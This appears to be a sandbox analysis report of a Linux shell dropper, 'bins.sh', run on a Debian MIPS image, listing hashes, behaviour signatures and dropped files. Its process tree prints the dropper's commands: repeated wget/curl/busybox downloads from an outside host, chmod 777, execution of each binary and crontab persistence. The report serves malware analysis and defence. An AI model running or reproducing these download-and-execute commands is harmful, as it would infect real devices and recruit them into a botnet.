Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 23:52

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b30009d4f929515b1d4d21e5b8480729

  • SHA1

    02ef65fbcdd9b783b6fb4d7adc4ed65eecf2ea9a

  • SHA256

    7036896d4996457f19dc4b5cc17feba30d708f4ff114bcdbafd7c23db81b5c78

  • SHA512

    d4249b37b5db462a0a9e968183a9c5ed4697313cf9e69d590e50f50046f9866f6653341c165ce843c182ff8ce93f4972025a85b7d313c4ff9a41c5ffee596dcc

  • SSDEEP

    192:PKmHYgEwV7Gd+rFFozvR+q6n8wXuq6n8wl0FFozvpKmHYgqVD:PKmHYgEwV7Gd+8c0JKmHYgqVD

Malware Config

Signatures

  • Contacts a large (1545) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 28 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:715
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          ./0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:755
          • /bin/chmod
            chmod 777 N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • File and Directory Permissions Modification
            PID:760
          • /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            ./N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Executes dropped EXE
            PID:762
          • /bin/rm
            rm N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
              PID:765
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:766
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:777
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:789
            • /bin/chmod
              chmod 777 hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • File and Directory Permissions Modification
              PID:796
            • /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              ./hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Executes dropped EXE
              PID:798
            • /bin/rm
              rm hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
                PID:801
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:802
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:808
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:810
              • /bin/chmod
                chmod 777 jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • File and Directory Permissions Modification
                PID:811
              • /tmp/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                ./jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • Executes dropped EXE
                PID:812
              • /bin/rm
                rm jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                  PID:814
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Writes file to tmp directory
                  PID:815
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Writes file to tmp directory
                  PID:816
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Writes file to tmp directory
                  PID:837
                • /bin/chmod
                  chmod 777 JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • File and Directory Permissions Modification
                  PID:842
                • /tmp/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  ./JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Executes dropped EXE
                  PID:843
                • /bin/rm
                  rm JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                    PID:847
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:848
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:857
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:859
                  • /bin/chmod
                    chmod 777 NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:860
                  • /tmp/NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    ./NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                    • Executes dropped EXE
                    PID:861
                  • /bin/rm
                    rm NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                      PID:863
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:864
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:865
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:867
                    • /bin/chmod
                      chmod 777 Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                      • File and Directory Permissions Modification
                      PID:868
                    • /tmp/Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      ./Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                      • Executes dropped EXE
                      PID:869
                    • /bin/rm
                      rm Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                        PID:871
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:872
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:873
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:875
                      • /bin/chmod
                        chmod 777 ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        2⤵
                        • File and Directory Permissions Modification
                        PID:876
                      • /tmp/ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        ./ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:877
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:879
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:880
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:881
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:882
                            • /bin/rm
                              rm ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                              2⤵
                                PID:884
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/fUNW8h5XMVGJc4fud0YvvpwSQPP84DTYjP
                                2⤵
                                • System Network Configuration Discovery
                                PID:887
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/fUNW8h5XMVGJc4fud0YvvpwSQPP84DTYjP
                                2⤵
                                • System Network Configuration Discovery
                                PID:888
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/fUNW8h5XMVGJc4fud0YvvpwSQPP84DTYjP
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:899
                              • /bin/chmod
                                chmod 777 fUNW8h5XMVGJc4fud0YvvpwSQPP84DTYjP
                                2⤵
                                • File and Directory Permissions Modification
                                PID:970
                              • /tmp/fUNW8h5XMVGJc4fud0YvvpwSQPP84DTYjP
                                ./fUNW8h5XMVGJc4fud0YvvpwSQPP84DTYjP
                                2⤵
                                • Executes dropped EXE
                                PID:971
                              • /bin/rm
                                rm fUNW8h5XMVGJc4fud0YvvpwSQPP84DTYjP
                                2⤵
                                  PID:973
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/H0mI51hC9c7SA2AEG7nwMhGRWEHD9Mkxms
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:974
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/H0mI51hC9c7SA2AEG7nwMhGRWEHD9Mkxms
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:975
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/H0mI51hC9c7SA2AEG7nwMhGRWEHD9Mkxms
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:976
                                • /bin/chmod
                                  chmod 777 H0mI51hC9c7SA2AEG7nwMhGRWEHD9Mkxms
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:978
                                • /tmp/H0mI51hC9c7SA2AEG7nwMhGRWEHD9Mkxms
                                  ./H0mI51hC9c7SA2AEG7nwMhGRWEHD9Mkxms
                                  2⤵
                                  • Executes dropped EXE
                                  PID:979
                                • /bin/rm
                                  rm H0mI51hC9c7SA2AEG7nwMhGRWEHD9Mkxms
                                  2⤵
                                    PID:981
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/9ClyvijwLQnBiyocFnVS25OXqdbklRs4V4
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:982

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/H0mI51hC9c7SA2AEG7nwMhGRWEHD9Mkxms

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/fUNW8h5XMVGJc4fud0YvvpwSQPP84DTYjP

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /tmp/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /var/spool/cron/crontabs/tmp.DQLAGe

                                  Filesize

                                  210B

                                  MD5

                                  fab5eda1cd316fd5e4d6f99147eb646f

                                  SHA1

                                  a31a650844683a62e2c7a8c60eddfbe668cfd35b

                                  SHA256

                                  3be2b46ed2413ecfaafe992a59d702ec1d67610e38ef406258e882df7f103d3d

                                  SHA512

                                  ce8e19e48931b24394955e90935dc5614d6615e56ee1a5292691e08beaf284e58986be6084aec28e988148b5014426c003739793bdfbf31b1a35d3c58a94ffea